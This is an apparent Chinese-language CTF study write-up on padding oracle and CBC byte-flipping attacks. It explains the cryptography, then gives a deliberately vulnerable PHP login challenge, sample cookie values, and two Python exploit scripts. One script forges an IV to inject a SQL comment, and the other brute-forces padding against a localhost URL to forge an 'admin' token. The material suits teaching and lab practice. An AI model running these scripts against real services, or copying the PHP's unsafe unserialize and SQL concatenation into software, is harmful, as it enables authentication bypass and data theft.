以前一直沒時間來好好研究下這兩種攻擊方式,雖然都是很老的點了= =!
0x01:Padding oracle
CBC加密模式為分組加密,初始時有初始向量,密鑰,以及明文,明文與初始向量異或以后得到中間明文,然后其再和密鑰進行加密將得到密文,得到的密文將作為下一個分組的初始向量,與下一個分組的明文進行異或得到的二組的中間明文,依次類推。
解密時根據也是分組解密,首先使用密鑰解密密文,得到中間明文,然后將中間明文和初始向量異或以后得到明文,第一組的密文將和第二組的明文進行異或得到第二組的中間明文,然后再用密鑰進行解密得到第二組的明文,依次類推
攻擊流程:
明文填充:
分組密碼Block Cipher需要在加載前確保每個每組的長度都是分組長度的整數倍。一般情況下,明文的最后一個分組很有可能會出現長度不足分組的長度:
這個時候,普遍的做法是在最后一個分組后填充一個固定的值,這個值的大小為填充的字節總數。即假如最后還差3個字符,則填充3個0×03
因為填充發生在最后一個分組,所以我們主要關注最后一個分組
這里有個條件是服務器會對我們顯示padding error的異常,如果不回顯那么肯定無法判斷進行利用
比如在web應用中,如果Padding不正確,則應用程序很可能會返回500的錯誤(程序執行錯誤);如果Padding正確,但解密出來的內容不正確,則可能會返回200的自定義錯誤(這只是業務上的規定),所以,這種區別就可以成為一個二值邏輯的”注入點”。
攻擊成立的兩個重要假設前提:
1. 攻擊者能夠獲得密文(Ciphertext),以及附帶在密文前面的IV(初始化向量) 2. 攻擊者能夠觸發密文的解密過程,且能夠知道密文的解密結果
我們的攻擊流程實際上是不斷地調整IV的值,以希望解密后,最后一個字節的值為正確的Padding Byte,因為padding正確時,這里padding正確是指最終解密並異或出來的明文最后一個字節在正確padding的范圍內就是正確的,雖然最后明文不一定正確,但是padding是合法的,所以服務器才會返回200
此時若我們輸入的初始向量為:
這時候最后一組密文經過密鑰解密后再和我們輸入的初始向量異或以后將得到
最后一位是0x3d,明顯不滿足padding的范圍,所以肯定會返回500,那么此時假設padding為0x01,那么通過遍歷初始向量最后一位將存在唯一一個初始向量值將於服務端解密得到的中間值異或以后得到0x01,直接遍歷
IV值就可以得到該值,之后我們就可以利用以下的公式
因此可以求出明文第八個字節,之后我們需要繼續求出其第七個字節的明文值,那么此時假設填充了兩個字節,那么為0x02,0x02,此時我們需要更新最后一位要輸入的IV值為中間值第八位異或上0x02(第八位中間值根據明文第八位異或上原來的IV值第八位即可得到),因為此時我們便利的后兩位IV值,此時服務器期望得到是0x02
此時繼續遍歷第七位IV值,直到得到0x02,此時可以得到明文第七位,依次類推可以得到所有的明文。
0x02: CBC字節翻轉攻擊
對於解密過程而言,我們已經可以通過Padding Oracle攻擊獲取CBC模式加密的明文,此時我們可以通過CBC字節翻轉攻擊來實現偽造的明文,因為IV是我們可控的,我們可以控制IV,使其與中間明文異或后得到我們任意想要的明文
加入我們已知明文解密后為1dmin,我們想構造一個初始IV,使其解密成admin,因為有以下的邏輯:
而我們想要:
所以我們可以得到
而原來的中間明文可以通過以下方式得到,原來的明文第一位又是可以通過Padding Oracle攻擊得到的
所以夠在的IV第一位即為:
通過上面的式子,通過遍歷明文,我們就可以讓服務器端解密出我們想要的明文
CTF題目舉例:
服務端校驗身份標志為$id,所以可以利用padding oracle攻擊去得到這個值的明文,得到這個值后,再利用cbc翻轉攻擊,將這個plain偽造成我們需要的admin
以實驗吧的一道CBC翻轉的題目為例:
源碼:
<?php define("SECRET_KEY", '***********'); define("METHOD", "aes-128-cbc"); error_reporting(0); include('conn.php'); function sqliCheck($str){ if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ return 1; } return 0; } function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv; } function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){ $rows=mysqli_fetch_array($result); echo '<h1><center>Hello!'.$rows['username'].'</center></h1>'; } else{ echo '<h1><center>Hello!</center></h1>'; } }else{ die("ERROR!"); } } } if(isset($_POST['id'])){ $id = (string)$_POST['id']; if(sqliCheck($id)) die("<h1 style='color:red'><center>sql inject detected!</center></h1>"); $info = array('id'=>$id); login($info); echo '<h1><center>Hello!</center></h1>'; }else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){ show_homepage(); }else{ echo '<body class="login-body" style="margin:0 auto"> <div id="wrapper" style="margin:0 auto;width:800px;"> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>input id to login</span> </div> <div class="content"> <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" /> </div> <div class="footer"> <p><input type="submit" name="submit" value="Login" class="button" /></p> </div> </form> </div> </body>'; } }
首先將$_POST中的id參數傳入login函數進行加密,iv是隨機的16進制字符串,明文是序列化后的$info變量,其中$info變量是包含$id參數的數組,
然后使用CBC模式對其進行加密,然后將IV值和密文base64編碼以后返回給客戶端,如果沒有post過去id參數,將調用show_homepage函數,此時將密文進行解密並反序列化后傳遞給$info,這里要通過sql注入查出數據才行,但是$id處有waf,所以必須通過構造IV來使解密出的明文中出現注入payload來拼接進sql語句,正常的id參數查不出數據是因為那里是limit id,0,零條數據,所以只需要最后的payload為1#注釋掉即可
所以可以首先post一個id=10參數
將得到
iv=PxuF5ruZTSyyT%2FgbLaLtAQ%3D%3D
cipher=j3UwMobjznjdxF6BMMDEcMMROOqlCBWzCt6I5Wewru8%3D
此時就可以針對此回顯的IV值進行攻擊,來構造新的IV值,首先我們要構造出進入加密函數的明文:
$id = (string)$_POST['id'];
$info = array('id'=>$id);
function login($info){
$iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher)); }
所以我們可以構造出id的序列化數據:
a:1:{s:2:"id";s:2:"10";}
因為IV為16個字節,因此我們將明文以16字節為一組進行分組
a:1:{s:2:"id";s: //第一組 2:"10";} //第二組
我們需要更改的是第二組的第五位字符,即將0替換成#,所以首先應該更改第一組密文的對應位,將得到新的密文
可以利用公式1:
然后將得到的密文和之前的原始IV一起發送,此時因為更改了第一組密文的一位,將導致第一組密文解密后無法反序列化,因為此時解密出來的明文也隨之發生了變化,因此我們需要更改IV來使其不變,所以遍歷第一組
密文,然后根據公示1來進行構造,其中明文就是服務器端解密返回並輸出的
根據自己的理解寫的exp:
#coding:utf-8 import base64 import urllib iv="MhmPZk6p8ZbW0MipFeIwlA%3D%3D" iv=urllib.unquote(iv) iv=base64.b64decode(iv) offset = 4 ciper="gcrKiWF6uRNNuYRjM%2FJPYHGoPTPZ1OpOajvZ6UfVMvY%3D" ciper = urllib.unquote(ciper) ciper = base64.b64decode(ciper) block_1 = 'a:1:{s:2:"id";s:' block_2 = '2:"10";}' new_block_offet_4 = chr(ord(ciper[4]) ^ ord(block_2[4]) ^ ord("#")) new_ciper = ciper[:4]+new_block_offet_4+ciper[5:] new_ciper = urllib.quote(base64.b64encode(new_ciper)) print new_ciper plain="qvttg/CIu9gp3DGoR+mCETI6IjEjIjt9" plain=base64.b64decode(plain) new_iv = "" for i in range(16): new_iv = new_iv + chr(ord(plain[i]) ^ ord(block_1[i]) ^ ord(iv[i])) new_iv= urllib.quote(base64.b64encode(new_iv)) print new_iv
最后放一個LCTF2017上一個Padding oracle+CBC 字節翻轉的腳本,上面有自己的注解:
# -*- coding: utf-8 -*- import requests import base64 url = 'http://127.0.0.1/cbc.php' N = 16 def inject_token(token): header = {"Cookie": "PHPSESSID=" + phpsession + ";token=" + token} result = requests.post(url, headers = header) return result def xor(a, b): return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in xrange(len(a))]) def pad(string, N): l = len(string) if l != N: return string + chr(N - l) * (N - l) def padding_oracle(N): get = "" for i in xrange(1, N+1): for j in xrange(0, 256): padding = xor(get, chr(i) * (i-1))#此時更新padding的值,更新要發送的對應位置的明文位所對應的IV值 c = chr(0) * (16-i) + chr(j) + padding #chr(j)就是每次要新嘗試的填充值 result = inject_token(base64.b64encode(c)) if "Error!" not in result.content: #如果沒有padding錯誤,padding錯誤將返回"Error" get = chr(j ^ i) + get #包含所有中間明文,每次得到一位得到中間明文,此時得到的IV值(即c)和中間明文異或以后滿足padding,兩個值異或后再和原來的iv進行異或即可得到 #對應位置明文 break return get while 1: session = requests.get(url).headers['Set-Cookie'].split(',') phpsession = session[0].split(";")[0][10:] print phpsession token = session[1][6:].replace("%3D", '=').replace("%2F", '/').replace("%2B", '+').decode('base64') middle1 = padding_oracle(N) print "\n" if(len(middle1) + 1 == 16): for i in xrange(0, 256): #因為后十五位都可以通過Padding Oracle Attack正常的解出, #但是在解第一位時按邏輯應該解出全為padding的plaintext(在這個環境下也就是16個0x10),即解密的結果為NULL middle = chr(i) + middle1 print "token:" + token print "middle:" + middle plaintext = xor(middle,token) print "plaintext:" + plaintext des = pad('admin', N) tmp = "" print des.encode("base64") for i in xrange(16): tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i])) print tmp.encode('base64') result = inject_token(base64.b64encode(tmp)) if "You are admin!" in result.content: print result.content print "success" exit()
參考:
https://skysec.top/2017/12/13/padding-oracle%E5%92%8Ccbc%E7%BF%BB%E8%BD%AC%E6%94%BB%E5%87%BB/
http://www.freebuf.com/articles/web/15504.html